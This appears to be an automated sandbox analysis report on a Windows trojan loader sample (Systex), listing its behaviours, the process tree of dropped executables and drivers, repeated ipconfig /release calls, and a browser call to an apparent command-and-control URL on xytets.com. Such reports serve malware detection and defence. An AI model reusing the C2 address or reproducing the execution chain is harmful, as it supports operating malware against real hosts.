Analysis
- max time kernel
149s - max time network
143s - platform
windows10-2004_x64 - resource
win10v2004-20260911-en - resource tags
- submitted
01/11/2026, 13:22
General
- Target 2026-11-01_6df4559dd1ba2f47654b668027b4a6d1_amadey_darkgate_elex_rhadamanthys_smoke-loader_stop.exe
- Size 365KB
- Sample261101-qml3lsvxhy
- SHA256 b8b155304933fed69d0de845e24d761684af9539656afc64a90b36e1595fd23d
Score
10/10
Malware Config
Signatures
- Family: Systex
Systex is a trojan loader written in C++.
- Executes dropped EXE 64 IoCs
- System Location Discovery: System Language Discovery 1 TTPs 42 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
- Gathers network information 2 TTPs 19 IoCs
Uses commandline utility to view network configuration.
- Modifies Internet Explorer settings 1 TTPs 51 IoCs
- Suspicious behavior: EnumeratesProcesses 64 IoCs
- Suspicious behavior: LoadsDriver 20 IoCs
- Suspicious use of AdjustPrivilegeToken 18 IoCs
- Suspicious use of FindShellTrayWindow 1 IoCs
- Suspicious use of SetWindowsHookEx 6 IoCs
- Suspicious use of WriteProcessMemory 60 IoCs
Processes
-
C:\Users\Admin\AppData\Local\Temp\2026-11-01_6df4559dd1ba2f47654b668027b4a6d1_amadey_darkgate_elex_rhadamanthys_smoke-loader_stop.exe"C:\Users\Admin\AppData\Local\Temp\2026-11-01_6df4559dd1ba2f47654b668027b4a6d1_amadey_darkgate_elex_rhadamanthys_smoke-loader_stop.exe"1⤵
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
-
C:\Temp\qkfdxvpnifaysqki.exeC:\Temp\qkfdxvpnifaysqki.exe run2⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\vpnhfaxsqk.exe ups_run3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
-
C:\Temp\vpnhfaxsqk.exeC:\Temp\vpnhfaxsqk.exe ups_run4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release5⤵
- Executes dropped EXE
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release6⤵
- Gathers network information
-
-
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\i_vpnhfaxsqk.exe ups_ins3⤵
- Executes dropped EXE
-
C:\Temp\i_vpnhfaxsqk.exeC:\Temp\i_vpnhfaxsqk.exe ups_ins4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\xvpnhfzxsp.exe ups_run3⤵
- Executes dropped EXE
-
C:\Temp\xvpnhfzxsp.exeC:\Temp\xvpnhfzxsp.exe ups_run4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release5⤵
- Executes dropped EXE
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release6⤵
- Gathers network information
-
-
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\i_xvpnhfzxsp.exe ups_ins3⤵
- Executes dropped EXE
-
C:\Temp\i_xvpnhfzxsp.exeC:\Temp\i_xvpnhfzxsp.exe ups_ins4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\czusmkczus.exe ups_run3⤵
- Executes dropped EXE
-
C:\Temp\czusmkczus.exeC:\Temp\czusmkczus.exe ups_run4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release5⤵
- Executes dropped EXE
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release6⤵
- Gathers network information
-
-
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\i_czusmkczus.exe ups_ins3⤵
- Executes dropped EXE
-
C:\Temp\i_czusmkczus.exeC:\Temp\i_czusmkczus.exe ups_ins4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\omgezwrpjh.exe ups_run3⤵
- Executes dropped EXE
-
C:\Temp\omgezwrpjh.exeC:\Temp\omgezwrpjh.exe ups_run4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release5⤵
- Executes dropped EXE
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release6⤵
- Gathers network information
-
-
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\i_omgezwrpjh.exe ups_ins3⤵
- Executes dropped EXE
-
C:\Temp\i_omgezwrpjh.exeC:\Temp\i_omgezwrpjh.exe ups_ins4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\mjebwuomht.exe ups_run3⤵
- Executes dropped EXE
-
C:\Temp\mjebwuomht.exeC:\Temp\mjebwuomht.exe ups_run4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release5⤵
- Executes dropped EXE
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release6⤵
- Gathers network information
-
-
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\i_mjebwuomht.exe ups_ins3⤵
- Executes dropped EXE
-
C:\Temp\i_mjebwuomht.exeC:\Temp\i_mjebwuomht.exe ups_ins4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\ytrljdbvto.exe ups_run3⤵
- Executes dropped EXE
-
C:\Temp\ytrljdbvto.exeC:\Temp\ytrljdbvto.exe ups_run4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release5⤵
- Executes dropped EXE
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release6⤵
- Gathers network information
-
-
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\i_ytrljdbvto.exe ups_ins3⤵
- Executes dropped EXE
-
C:\Temp\i_ytrljdbvto.exeC:\Temp\i_ytrljdbvto.exe ups_ins4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\lgdywqoiga.exe ups_run3⤵
- Executes dropped EXE
-
C:\Temp\lgdywqoiga.exeC:\Temp\lgdywqoiga.exe ups_run4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release5⤵
- Executes dropped EXE
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release6⤵
- Gathers network information
-
-
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\i_lgdywqoiga.exe ups_ins3⤵
- Executes dropped EXE
-
C:\Temp\i_lgdywqoiga.exeC:\Temp\i_lgdywqoiga.exe ups_ins4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\avsnlfdxvp.exe ups_run3⤵
- Executes dropped EXE
-
C:\Temp\avsnlfdxvp.exeC:\Temp\avsnlfdxvp.exe ups_run4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release5⤵
- Executes dropped EXE
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release6⤵
- Gathers network information
-
-
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\i_avsnlfdxvp.exe ups_ins3⤵
- Executes dropped EXE
-
C:\Temp\i_avsnlfdxvp.exeC:\Temp\i_avsnlfdxvp.exe ups_ins4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\ysqkicankc.exe ups_run3⤵
- Executes dropped EXE
-
C:\Temp\ysqkicankc.exeC:\Temp\ysqkicankc.exe ups_run4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release5⤵
- Executes dropped EXE
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release6⤵
- Gathers network information
-
-
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\i_ysqkicankc.exe ups_ins3⤵
- Executes dropped EXE
-
C:\Temp\i_ysqkicankc.exeC:\Temp\i_ysqkicankc.exe ups_ins4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\pnhdxvpnhf.exe ups_run3⤵
- Executes dropped EXE
-
C:\Temp\pnhdxvpnhf.exeC:\Temp\pnhdxvpnhf.exe ups_run4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release5⤵
- Executes dropped EXE
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release6⤵
- Gathers network information
-
-
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\i_pnhdxvpnhf.exe ups_ins3⤵
- Executes dropped EXE
-
C:\Temp\i_pnhdxvpnhf.exeC:\Temp\i_pnhdxvpnhf.exe ups_ins4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\hczusmkecw.exe ups_run3⤵
- Executes dropped EXE
-
C:\Temp\hczusmkecw.exeC:\Temp\hczusmkecw.exe ups_run4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release5⤵
- Executes dropped EXE
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release6⤵
- Gathers network information
-
-
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\i_hczusmkecw.exe ups_ins3⤵
-
C:\Temp\i_hczusmkecw.exeC:\Temp\i_hczusmkecw.exe ups_ins4⤵
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\zurmjecwuo.exe ups_run3⤵
-
C:\Temp\zurmjecwuo.exeC:\Temp\zurmjecwuo.exe ups_run4⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release5⤵
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release6⤵
- Gathers network information
-
-
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\i_zurmjecwuo.exe ups_ins3⤵
-
C:\Temp\i_zurmjecwuo.exeC:\Temp\i_zurmjecwuo.exe ups_ins4⤵
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\bztrmjecwu.exe ups_run3⤵
-
C:\Temp\bztrmjecwu.exeC:\Temp\bztrmjecwu.exe ups_run4⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release5⤵
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release6⤵
- Gathers network information
-
-
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\i_bztrmjecwu.exe ups_ins3⤵
-
C:\Temp\i_bztrmjecwu.exeC:\Temp\i_bztrmjecwu.exe ups_ins4⤵
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\trljdbwtom.exe ups_run3⤵
-
C:\Temp\trljdbwtom.exeC:\Temp\trljdbwtom.exe ups_run4⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release5⤵
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release6⤵
- Gathers network information
-
-
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\i_trljdbwtom.exe ups_ins3⤵
-
C:\Temp\i_trljdbwtom.exeC:\Temp\i_trljdbwtom.exe ups_ins4⤵
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\bvtoigbytq.exe ups_run3⤵
-
C:\Temp\bvtoigbytq.exeC:\Temp\bvtoigbytq.exe ups_run4⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release5⤵
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release6⤵
- Gathers network information
-
-
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\i_bvtoigbytq.exe ups_ins3⤵
-
C:\Temp\i_bvtoigbytq.exeC:\Temp\i_bvtoigbytq.exe ups_ins4⤵
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\sqlidavtnl.exe ups_run3⤵
-
C:\Temp\sqlidavtnl.exeC:\Temp\sqlidavtnl.exe ups_run4⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release5⤵
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release6⤵
- Gathers network information
-
-
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\i_sqlidavtnl.exe ups_ins3⤵
-
C:\Temp\i_sqlidavtnl.exeC:\Temp\i_sqlidavtnl.exe ups_ins4⤵
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\nifaysqkfa.exe ups_run3⤵
-
C:\Temp\nifaysqkfa.exeC:\Temp\nifaysqkfa.exe ups_run4⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release5⤵
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release6⤵
- Gathers network information
-
-
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\i_nifaysqkfa.exe ups_ins3⤵
-
C:\Temp\i_nifaysqkfa.exeC:\Temp\i_nifaysqkfa.exe ups_ins4⤵
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\nkfdxvpnif.exe ups_run3⤵
-
C:\Temp\nkfdxvpnif.exeC:\Temp\nkfdxvpnif.exe ups_run4⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release5⤵
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release6⤵
- Gathers network information
-
-
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\i_nkfdxvpnif.exe ups_ins3⤵
-
C:\Temp\i_nkfdxvpnif.exeC:\Temp\i_nkfdxvpnif.exe ups_ins4⤵
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\causmkecxu.exe ups_run3⤵
-
C:\Temp\causmkecxu.exeC:\Temp\causmkecxu.exe ups_run4⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release5⤵
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release6⤵
- Gathers network information
-
-
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\i_causmkecxu.exe ups_ins3⤵
-
C:\Temp\i_causmkecxu.exeC:\Temp\i_causmkecxu.exe ups_ins4⤵
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
-
C:\Program Files\Internet Explorer\iexplore.exe"C:\Program Files\Internet Explorer\iexplore.exe" http://xytets.com:2345/t.asp?os=home2⤵
- Modifies Internet Explorer settings
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
-
C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE"C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:6060 CREDAT:17410 /prefetch:23⤵
- System Location Discovery: System Language Discovery
- Modifies Internet Explorer settings
- Suspicious use of SetWindowsHookEx
-
-
-
C:\Temp\qkfdxvpnifaysqki.sysC:\Temp\qkfdxvpnifaysqki.sys1⤵
- Executes dropped EXE
-
C:\Temp\icausmkfcx.sysC:\Temp\icausmkfcx.sys1⤵
- Executes dropped EXE
-
C:\Temp\mhezxrpjhc.sysC:\Temp\mhezxrpjhc.sys1⤵
- Executes dropped EXE
-
C:\Temp\hczurmkecw.sysC:\Temp\hczurmkecw.sys1⤵
- Executes dropped EXE
-
C:\Temp\wrpjhbztrm.sysC:\Temp\wrpjhbztrm.sys1⤵
- Executes dropped EXE
-
C:\Temp\geywqojgby.sysC:\Temp\geywqojgby.sys1⤵
- Executes dropped EXE
-
C:\Temp\qoigaysqla.sysC:\Temp\qoigaysqla.sys1⤵
- Executes dropped EXE
-
C:\Temp\fdxvqnifay.sysC:\Temp\fdxvqnifay.sys1⤵
- Executes dropped EXE
-
C:\Temp\ausnkfdxvp.sysC:\Temp\ausnkfdxvp.sys1⤵
- Executes dropped EXE
-
C:\Temp\pnhfzxrpkh.sysC:\Temp\pnhfzxrpkh.sys1⤵
- Executes dropped EXE
-
C:\Temp\pmhfzxrpjh.sysC:\Temp\pmhfzxrpjh.sys1⤵
-
C:\Temp\mhezwrpjhb.sysC:\Temp\mhezwrpjhb.sys1⤵
-
C:\Temp\eywrojhbzt.sysC:\Temp\eywrojhbzt.sys1⤵
-
C:\Temp\igbytqljdb.sysC:\Temp\igbytqljdb.sys1⤵
-
C:\Temp\dyvqoigays.sysC:\Temp\dyvqoigays.sys1⤵
-
C:\Temp\davsnlfdxv.sysC:\Temp\davsnlfdxv.sys1⤵
-
C:\Temp\xsqkicausn.sysC:\Temp\xsqkicausn.sys1⤵
-
C:\Temp\nhfzxspkic.sysC:\Temp\nhfzxspkic.sys1⤵
-
C:\Temp\czurmkecwu.sysC:\Temp\czurmkecwu.sys1⤵
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
Loading Replay Monitor...
Downloads
CreateProcess.exe
avsnlfdxvp.exe
czusmkczus.exe
geywqojgby.sys
hczurmkecw.sys
i_czusmkczus.exe
i_lgdywqoiga.exe
i_mjebwuomht.exe
i_omgezwrpjh.exe
i_vpnhfaxsqk.exe
i_xvpnhfzxsp.exe
i_ytrljdbvto.exe
icausmkfcx.sys
lgdywqoiga.exe
mhezxrpjhc.sys
mjebwuomht.exe
omgezwrpjh.exe
qkfdxvpnifaysqki.exe
qkfdxvpnifaysqki.sys
qoigaysqla.sys
vpnhfaxsqk.exe
wrpjhbztrm.sys
xvpnhfzxsp.exe
ytrljdbvto.exe
E2C6CBAF0AF08CF203BA74BF0D0AB6D5_430EA0912164D1B129D6E1DC07C63959
E2C6CBAF0AF08CF203BA74BF0D0AB6D5_430EA0912164D1B129D6E1DC07C63959
search_{0633EE93-D776-472f-A0FF-E1416B8B2E3A}.ico
suggestions[1].en-US
known_providers_download_v1[1].xml
memory/552-188-0x0000000000010000-0x00000000000AB000-memory.dmp
memory/1492-180-0x0000000000010000-0x00000000000AB000-memory.dmp
memory/1584-152-0x0000000000010000-0x00000000000AB000-memory.dmp
memory/1732-184-0x0000000000010000-0x00000000000AB000-memory.dmp
memory/1872-164-0x0000000000010000-0x00000000000AB000-memory.dmp
memory/2212-172-0x0000000000010000-0x00000000000AB000-memory.dmp
memory/2784-168-0x0000000000010000-0x00000000000AB000-memory.dmp
memory/2896-148-0x0000000000010000-0x00000000000AB000-memory.dmp
memory/3188-160-0x0000000000010000-0x00000000000AB000-memory.dmp
memory/3304-66-0x0000000000010000-0x00000000000AB000-memory.dmp
memory/3636-95-0x0000000000010000-0x00000000000AB000-memory.dmp
memory/3644-137-0x0000000000010000-0x00000000000AB000-memory.dmp
memory/4968-109-0x0000000000010000-0x00000000000AB000-memory.dmp
memory/5012-156-0x0000000000010000-0x00000000000AB000-memory.dmp
memory/5152-19-0x0000000000010000-0x00000000000AB000-memory.dmp
memory/5432-129-0x0000000000010000-0x00000000000AB000-memory.dmp
memory/5672-176-0x0000000000010000-0x00000000000AB000-memory.dmp
memory/5748-78-0x0000000000010000-0x00000000000AB000-memory.dmp
memory/5948-54-0x0000000000010000-0x00000000000AB000-memory.dmp